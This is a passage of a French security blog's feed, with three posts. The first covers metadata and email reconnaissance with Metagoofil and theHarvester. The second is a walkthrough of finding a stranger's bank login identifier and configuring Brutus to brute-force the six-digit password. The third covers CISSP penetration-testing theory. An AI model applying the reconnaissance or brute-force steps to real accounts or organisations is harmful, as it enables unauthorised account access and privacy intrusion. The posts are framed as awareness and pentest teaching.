/&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;4/&lt;/span&gt; Vérifier que dans le code de metagoofil, le chemin donné pour &lt;span style="font-style: italic;"&gt;extract&lt;/span&gt; est le bon (fichier &lt;span style="font-family:courier new;"&gt;metagoofil.py&lt;/span&gt;). Sinon, changez-le pour avec le bon path : &lt;span style="font-family:courier new;"&gt;extcommand='&lt;&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;chemin&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&gt;'&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;C'est tout, vous êtes déjà prêts !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;A l'exploration !&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;L'outil s'utilise de la manière suivante (ex : microsoft.com) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;./metagoofil -d microsoft.com -f xls -l 100 -o microsoft-test.html -t /home/jer/metagoofil/microsoft-test/&lt;/blockquote&gt;&lt;br /&gt;Avec :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-d &lt;cible&gt; &lt;/cible&gt;&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-f &lt;type_documents&gt;&lt;/type_documents&gt;&lt;/span&gt; (peut être &lt;span style="font-style: italic;"&gt;doc&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;xls&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;pdf&lt;/span&gt;, ... ou &lt;span style="font-style: italic;"&gt;all&lt;/span&gt;) ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-l &lt;nombre documents=""&gt;&lt;/nombre&gt;&lt;/span&gt; (par défaut 100) ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-t &lt;répertoire&gt;&lt;/répertoire&gt;&lt;/span&gt; (où seront stockés les documents récupérés).&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Ici, nous avons utilisé les formats doc car sinon, avec le paramètre &lt;span style="font-style: italic;"&gt;all&lt;/span&gt;, l'outil récupérera plus de &lt;span style="font-style: italic;"&gt;.pdf&lt;/span&gt; qui sont des documents légitimement accessibles sur le WEB ce qui devrait être moins le cas pour les &lt;span style="font-style: italic;"&gt;.xls &lt;/span&gt;(même si c'est moins vrai dans l'exemple que nous prenons). Puisqu'il s'agit d'une grande entreprise, nous devrions récupérer un maximum d'information. Cela nous demanderait alors par conséquent plus de temps et d'espace disque.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_BhVyBIyY5_8/SBJoHWxeaLI/AAAAAAAAAH8/hkwXuDeSkuY/s1600-h/lancement.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_BhVyBIyY5_8/SBJoHWxeaLI/AAAAAAAAAH8/hkwXuDeSkuY/s400/lancement.JPG" alt="" id="BLOGGER_PHOTO_ID_5193327795893070002" border="0" /&gt;&lt;/a&gt;Une fois terminé, nous voyons apparaître les chemins de documents et les noms d'utilisateurs trouvés ainsi que les noms de services de l'entreprise !&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SBJp_2xeaMI/AAAAAAAAAIE/hG-XhThIOXs/s1600-h/command_results.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SBJp_2xeaMI/AAAAAAAAAIE/hG-XhThIOXs/s400/command_results.JPG" alt="" id="BLOGGER_PHOTO_ID_5193329866067306690" border="0" /&gt;&lt;/a&gt;Evidemment, nous devons éliminer les informations non pertinentes à ce niveau. Les données ont été récupérées grâce aux champs "auteurs" et "chemin" des documents, eux-mêmes localisés avec des requêtes &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt;. Cela nous donnes une bonne base et même des formats (de mail ? d'identifiant ?) comme emma.pXXXXXXX. N'oublions pas qu'il peut aussi s'agir de partenaires ou de client de la cible est qu'il est important de trier les résultats. Quoiqu'il en soit, ces données devraient être intéressantes par la suite du test d'intrusion ;)&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Les ressources fournies par Metagoofil&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Outre l'output sur le terminal, Metagoofil fournit les stocke les &lt;span style="font-weight: bold;"&gt;documents récupérés&lt;/span&gt; dans le répertoire désigné par l'option &lt;span style="font-family:courier new;"&gt;-t&lt;/span&gt;. Vous devriez y trouver des informations très intéressantes sur votre cible ... Dans notre exemple, un tableau contenant le nom de commerciaux et leur numéro interne a été trouvé. Sur une autre requête exécutée sur les .doc, un CV d'un consultant de l'éditeur a été retrouvé.&lt;br /&gt;Aussi, Metagoofil founit un fichier HTLM constituant le &lt;span style="font-weight: bold;"&gt;reporting &lt;/span&gt;de ses recherches. En résumé, nous y trouvons pour chaque fichier (au mieux) :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le titre et descriptif du document ;&lt;/li&gt;&lt;li&gt;Le nom de l'auteur ;&lt;/li&gt;&lt;li&gt;Le suivi des révision ;&lt;/li&gt;&lt;li&gt;Le nom de la dernière personne ayant sauvegardé le fichier pour la dernière fois ;&lt;/li&gt;&lt;li&gt;La date de création du fichier et de modification ;&lt;/li&gt;&lt;li&gt;L'outil qui a servi a créer le fichier (ex : Acrobat Distiller) voire la version (5.0.2) et même l'OS (ex : Machintosh) ;&lt;/li&gt;&lt;li&gt;L'adresse MAC de la machine ;&lt;/li&gt;&lt;li&gt;Le chemin où est enregistré physiquement le fichier (et donc certainement un partage ouvert puisque le fichier a été récupéré depuis Internet ...) ;&lt;/li&gt;&lt;li&gt;Et souvent des données additionnelles sur les outils utilisés par la cible.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Entre fuite d'information et données importantes pour la suite du pentest, vous avez déjà ici de quoi faire ;) Voici deux examples :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SBJwcGxeaOI/AAAAAAAAAIU/U-jB3aFRhbw/s1600-h/word_example.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SBJwcGxeaOI/AAAAAAAAAIU/U-jB3aFRhbw/s320/word_example.JPG" alt="" id="BLOGGER_PHOTO_ID_5193336948468377826" border="0" /&gt;   &lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SBJwX2xeaNI/AAAAAAAAAIM/JHOoRPxjVBI/s1600-h/pdf_example.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SBJwX2xeaNI/AAAAAAAAAIM/JHOoRPxjVBI/s320/pdf_example.JPG" alt="" id="BLOGGER_PHOTO_ID_5193336875453933778" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Pour aller plus loin&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Pour voir un autre exemple de l'utilisation de cet outil, une vidéo est disponible sur le site d'&lt;a href="http://www.irongeek.com/"&gt;irongeek&lt;/a&gt;.&lt;br /&gt;Pour approfondir vos recherches, il existe un certains nombre de requêtes Google qui peuvent être très utiles. Le site de Johnny LONG (auteur de "&lt;span style="font-style: italic;"&gt;Google Hacking&lt;/span&gt;") devrait être une bonne source d'information. Son site se trouve &lt;a href="http://johnny.ihackstuff.com/"&gt;ici&lt;/a&gt;.&lt;br /&gt;Enfin, &lt;a href="http://www.edge-security.com/soft.php"&gt;Edge-Security&lt;/a&gt; propose un autre outil - dans le même ordre d'idée - qui lui est plus focalisé sur la recherche d'adresses emails. Il se base aussi sur le moteur de recherche Google mais aussi le moteur de MSN, le serveur de PGP et le site linkedin. L'outil en question est appelé &lt;span style="font-weight: bold;"&gt;theHarvester&lt;/span&gt; et peut être téléchargé &lt;a href="http://www.edge-security.com/soft/theHarvester-1.4.tar"&gt;ici&lt;/a&gt;. Rapidement, en voici un exemple :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;./theHarvester.py -d microsoft.com -l 100 -b google&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SBJ2R2xeaPI/AAAAAAAAAIc/Xqp6ledj0yQ/s1600-h/theHarvester.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SBJ2R2xeaPI/AAAAAAAAAIc/Xqp6ledj0yQ/s400/theHarvester.JPG" alt="" id="BLOGGER_PHOTO_ID_5193343369444485362" border="0" /&gt;&lt;/a&gt;Avec les options :&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-d &lt;cible&gt;&lt;/cible&gt;&lt;/span&gt; : ici, nous gardons le même exemple ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-l &lt;limite&gt;&lt;/limite&gt;&lt;/span&gt; : nombre de résultats limite ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;-b &lt;source&gt;&lt;/source&gt;&lt;/span&gt; : source de l'information parmi Google, MSN, PGP et Linkedin.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Et vous, êtes vous sûrs qu'aucune de vos informations personnelles n'est accessible sur Internet ?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6107643048393080056?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6107643048393080056/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6107643048393080056' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6107643048393080056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/6107643048393080056'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/04/pentesting-discovery-phase-when.html' title='[Pentesting] [Discovery phase] When relevant information is available ... on the Internet!'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_BhVyBIyY5_8/SBJoHWxeaLI/AAAAAAAAAH8/hkwXuDeSkuY/s72-c/lancement.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1044323766427082294</id><published>2008-04-25T13:56:00.001-07:00</published><updated>2008-04-25T15:17:52.463-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Social Engineering'/><title type='text'>[Social Engineering] Is your money safe?</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Tout a commencé par un SMS ... Une nouvelle mission ? Non ! Mais finalement, ça aurait pu le devenir ... Un matin, je reçois un SMS d'une certaine banque que nous appellerons X autre que la mienne. Le texto m'indique que "je" suis à découvert de 51,29€ avec un découvert autorisé de 200€. De plus, il est écrit pour le compte "CC 12345678" (les chiffres et caractères ont volontairement été changés bien sûr). A votre avis, jusqu'où peut nous mener une simple erreur de numéro de téléphone ? Bien plus loin que l'on pourrait le penser ... L'aventure commence !&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Ce post a pour unique but de sensibiliser les personnes et en l'occurrence, beaucoup de gens puisque toute personne ayant un compte bancaire consultable en ligne est concernée... C'est pour cela que les informations sont transformées de sorte à ne pas enfreindre ni la loi, ni la vie privée de la personne incriminée à son insu.&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;Etape 1 : Récupération de l'identifiant&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Je commence par me balader sur le site de la banque comme un simple utilisateur pour signaler l'incident. Dans la partie "&lt;span style="font-style: italic;"&gt;contact&lt;/span&gt;", outre l'appel surtaxé, je peux remplir un formulaire pour envoyer un mail. Entre autres, je remplis le champs avec le numéro de compte. Aussi, on me propose trois types de compte : "&lt;span style="font-style: italic;"&gt;compte chèque, compte titre ou compte épargne&lt;/span&gt;". Le &lt;span style="font-style: italic;"&gt;CC &lt;/span&gt;dans le SMS me fait opter pour un &lt;span style="font-weight: bold;"&gt;compte chèque &lt;/span&gt;(ce dont nous aurions pu nous douter puisqu'il n'existe pas de découvert sur les compte titre et d'épargne). Suite à une erreur dans le formulaire, je suis renvoyé sur la même page et je remarque que le numéro de compte a été modifié : le vrai numéro de compte est en réalité précédé de trois "0". Ok, donc le vrai numéro de compte est &lt;span style="font-weight: bold;"&gt;00012345678&lt;/span&gt; (pour reprendre notre exemple factice). J'ai donc à ma disposition le premier élément pour m'authentifier, l'&lt;span style="color: rgb(0, 0, 0);"&gt;identifiant&lt;/span&gt;. La deuxième information à obtenir est le mot de passe...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Etape 2 : Récupération du mot de passe&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Je découvre rapidement que le mot de passe est constitué d'un certain nombre de chiffres puisque l'on me propose un clavier numérique. Bon, ça se corse car difficile de contrer ce genre de clavier (quoiqu'il paraît que des programmes malicieux - ou malwares - font des captures d'écran ...). Il y a un bouton "valider" sous le clavier numérique mais je remarque qu'il devient "cliquable" qu'une fois avoir sélectionné 6 chiffres (au hasard, ne connaissant pas le mot de passe). Ok, il y a donc exactement &lt;span style="font-weight: bold;"&gt;6 chiffres dans le mot de passe&lt;/span&gt;. Reste l'obstacle du clavier mais celui-ci sera très vite déjoué puisque un lien sur la même page du site permet une authentification "autre" en cas de problème. Je clique et hop, je me retrouve sur une page où l'on peut s'authentifier sans clavier numérique mais seulement à l'aide de deux champs de formulaire classique. Sinon, il était joli le clavier :). Pour la petite histoire, au début des claviers numériques, ils ne fonctionnaient que sous IE pour la caisse d'épargne pendant une certain temps. Il suffisait alors d'utiliser un navigateur alternatif comme Firefox.&lt;br /&gt;Quoiqu'il en soit, voilà qui nous simplifie la tâche puisque nous sommes alors en face d'un mot de passe faible voire très faible puisque composé d'exactement (et seulement 6 chiffres). Je pense que vous avez déjà connu plus difficile ;) Nous avons à ce stade suffisamment d'information pour lancer une attaque :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;L'identifiant ;&lt;/li&gt;&lt;li&gt;La forme et la longueur du mot de passe ;&lt;/li&gt;&lt;li&gt;Des champs HTML pour tenter une attaque de type &lt;span style="font-style: italic;"&gt;brute force&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Etape 3 : Récupération du mot de passe&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Malheureusement ici, nous allons tout de suite devoir calmer nos ardeurs car nous entrerions dans un cadre non légal. Cependant, la technique est très simple et expliquée ici car elle peut servir dans de nombreux cas. C'est aussi l'occasion de voir un outil comme &lt;span style="font-weight: bold;"&gt;Brutus&lt;/span&gt; qui nous permet d'appliquer toutes les données récupérées. Normalement, ce logiciel est téléchargeable &lt;a href="http://www.hoobie.net/brutus/"&gt;ici&lt;/a&gt;. Il se peut que vous rencontriez des problèmes mais &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; est votre ami ;)&lt;br /&gt;&lt;br /&gt;Tout d'abord, le panneau principal. Vous devez y choisir :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;target &lt;/span&gt;= la page du site contenant le formulaire ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;type&lt;/span&gt; = &lt;span style="font-family:courier new;"&gt;HTTP (form) &lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;port&lt;/span&gt; = &lt;span style="font-family:courier new;"&gt;443&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Authentification options &lt;/span&gt;= checker "&lt;span style="font-style: italic;"&gt;single user&lt;/span&gt;" et entrer le numéro de compte dans le champs &lt;span style="font-style: italic;"&gt;User ID &lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Pass mode&lt;/span&gt; = &lt;span style="font-family:courier new;"&gt;Brute Force&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_BhVyBIyY5_8/SBJT6WxeaII/AAAAAAAAAHk/NsrsB2KbU2o/s1600-h/brutus-general.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_BhVyBIyY5_8/SBJT6WxeaII/AAAAAAAAAHk/NsrsB2KbU2o/s400/brutus-general.JPG" alt="" id="BLOGGER_PHOTO_ID_5193305582322215042" border="0" /&gt;&lt;/a&gt;Ensuite, cliquer sur le bouton "&lt;span style="font-style: italic;"&gt;Range&lt;/span&gt;" et le configurer de telle sorte que seuls les mots de passe de 6 chiffres seront tentés comme le montre l'image suivante :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SBJTvmxeaHI/AAAAAAAAAHc/Hd9httfP9QE/s1600-h/brutus-setup-bruteforce.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SBJTvmxeaHI/AAAAAAAAAHc/Hd9httfP9QE/s400/brutus-setup-bruteforce.JPG" alt="" id="BLOGGER_PHOTO_ID_5193305397638621298" border="0" /&gt;&lt;/a&gt;Dernière étape du paramétrage, définir les champs de la page HTML. Brutus peut vous aider. Pour cela, cliquer sur le bouton "&lt;span style="font-style: italic;"&gt;Modify Sequence&lt;/span&gt;" du panneau général. Une nouvelle fenêtre s'ouvre. Entrez l'adresse de la cible est la page et l'identifiant dans les champs correspondants puis cliquez sur le bouton "&lt;span style="font-style: italic;"&gt;Learn Form Settings&lt;/span&gt;" :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_BhVyBIyY5_8/SBJV8WxeaJI/AAAAAAAAAHs/eRjupAaMelQ/s1600-h/brutus-setup-form.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_BhVyBIyY5_8/SBJV8WxeaJI/AAAAAAAAAHs/eRjupAaMelQ/s400/brutus-setup-form.JPG" alt="" id="BLOGGER_PHOTO_ID_5193307815705208978" border="0" /&gt;&lt;/a&gt;Une fois trouvé, Brutus montre le fruit de ses recherches . Sélectionner alors le champ correspondant  à l'identifiant et cliquer sur "&lt;span style="font-style: italic;"&gt;Username&lt;/span&gt;". De même avec "&lt;span style="font-style: italic;"&gt;Password&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SBJXXmxeaKI/AAAAAAAAAH0/0l4aDwZy6C4/s1600-h/brutus-setup-form2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SBJXXmxeaKI/AAAAAAAAAH0/0l4aDwZy6C4/s400/brutus-setup-form2.JPG" alt="" id="BLOGGER_PHOTO_ID_5193309383368272034" border="0" /&gt;&lt;/a&gt;Cliquez sur "&lt;span style="font-style: italic;"&gt;Accept&lt;/span&gt;" et "&lt;span style="font-style: italic;"&gt;OK&lt;/span&gt;" des fenêtres ouvertes pour revenir au panneau principal. Il ne vous reste plus qu'à cliquer sur le bouton &lt;span style="font-style: italic;"&gt;"start" &lt;/span&gt;et l'attaque commence. Pour le post, nous nous arrêterons ici mais je pense que vous avez l'essentiel appris l'essentiel ;)&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1044323766427082294?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1044323766427082294/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1044323766427082294' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1044323766427082294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1044323766427082294'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/04/social-engineering-is-your-money-safe.html' title='[Social Engineering] Is your money safe?'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_BhVyBIyY5_8/SBJT6WxeaII/AAAAAAAAAHk/NsrsB2KbU2o/s72-c/brutus-general.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-5399030404597975319</id><published>2008-04-19T04:17:00.000-07:00</published><updated>2008-04-19T05:35:26.155-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[CISSP] Learn about pentest</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Aujourd'hui cher agent, vous allez devoir progresser dans la théorie ! Or, dans le cadre de l'apprentissage de l'examen &lt;a href="http://www.isc2.org/"&gt;CISSP&lt;/a&gt;, un module intitulé "Access Control Systems" tient compte des tests d'intrusion. Ce post - assez particulier - se propose de voir les notions à connaître et illustrer certains concepts.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;Avant-propos&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Le module que nous allons voir fait partie de la liste des 10 domaines à connaître pour réussir l'examen. Plus d'information sont disponible &lt;a href="http://en.wikipedia.org/wiki/CISSP"&gt;ici&lt;/a&gt;. Aussi, des pré-requis sont nécessaires comme des diplômes et quelques années d'expérience. Finalement, il vous faudra atteindre un score de 70% pour obtenir le CISSP. Avant de commencer, je tiens à préciser que ce post ne garantit pas une note quelconque ne serait-ce que pour le module abordé. Cependant, j'espère qu'il vous y aidera ;). Enfin, les diapos d'illustration sont en anglais car les livres que vous trouverez sur le sujet le seront aussi très certainement.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Part I - Quelques concepts à connaître ...&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La sécurité informatique, c'est un combat permanent entre les &lt;span style="font-style: italic;"&gt;hackers&lt;/span&gt; et les entreprises. Chacune dispose de ses caractéristiques et de ses buts, ce que ce premier schéma illustre de manière très simplifiée :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SAnYoslUHsI/AAAAAAAAAGM/kMN0anoL5Xs/s1600-h/diapo1.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SAnYoslUHsI/AAAAAAAAAGM/kMN0anoL5Xs/s400/diapo1.JPG" alt="" id="BLOGGER_PHOTO_ID_5190918239195242178" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;En bleu, nous avons les besoins de l'entreprise (synthétisés par la police de sécurité) alors qu'en noir, les contraintes portées à l'entreprise pouvant être concrétiser par l'attaquant (dont les points forts sont le temps, sa motivation et son esprit de défi par exemple). Pour bien faire la différence entre "Vulnérabilité", "menace" et "risque", prenons pour exemple une machine sous &lt;span style="font-style: italic;"&gt;Windows XP SP2&lt;/span&gt;. Si une faille, mentionnée par Microsoft par exemple, impacte les machines &lt;span style="font-style: italic;"&gt;Windows XP SP2&lt;/span&gt;  et moins, alors, il y a &lt;span style="font-weight: bold;"&gt;vulnérabilité&lt;/span&gt;. Si cette vulnérabilité est exploitée par un ver, alors ce dernier représente la &lt;span style="font-weight: bold;"&gt;menace&lt;/span&gt;. Pour terminer, plus les données contenues sur la machines sont sensibles et plus elle est atteignable pour un attaquant, plus le &lt;span style="font-weight: bold;"&gt;risque&lt;/span&gt; est grand (et inversement).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Dans un deuxième temps, le module demande à ce que les solutions de sécurité - en sens large - soient classifiées. Nous trouverons trois types de sécurité (organisationnelle, logique/technique et physique) et deux approches (préventive et post-active). Un exemple pour chacun est fourni ci-dessous :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SAnbEslUHtI/AAAAAAAAAGU/xXzU50z6f60/s1600-h/diapo2.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SAnbEslUHtI/AAAAAAAAAGU/xXzU50z6f60/s400/diapo2.JPG" alt="" id="BLOGGER_PHOTO_ID_5190920919254834898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;Pour être précis dans notre classification, nous devons noter que dans une &lt;span style="font-weight: bold;"&gt;entreprise &lt;/span&gt;(&lt;span style="font-style: italic;"&gt;organization&lt;/span&gt;), plusieurs &lt;span style="font-weight: bold;"&gt;rôles &lt;/span&gt;doivent être définis qui correspondent à des métiers et/ou fonctions. Dans ces rôles, nous trouvons les employés ou aussi &lt;span style="font-weight: bold;"&gt;utilisateurs&lt;/span&gt; au sens SI. Chacun d'eux disposent d'&lt;span style="font-weight: bold;"&gt;objets&lt;/span&gt; tels que des documents par exemple. Cela est très utile pour définir correctement les contrôles d'accès de manière granulaire.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La dernière sous-partie du module demande une connaissance générale des attaques les plus connues. Cette troisième image en fait l'illustration :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SAnceslUHuI/AAAAAAAAAGc/IbKIe5lDFGw/s1600-h/diapo3.JPG"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SAnceslUHuI/AAAAAAAAAGc/IbKIe5lDFGw/s400/diapo3.JPG" alt="" id="BLOGGER_PHOTO_ID_5190922465443061474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br 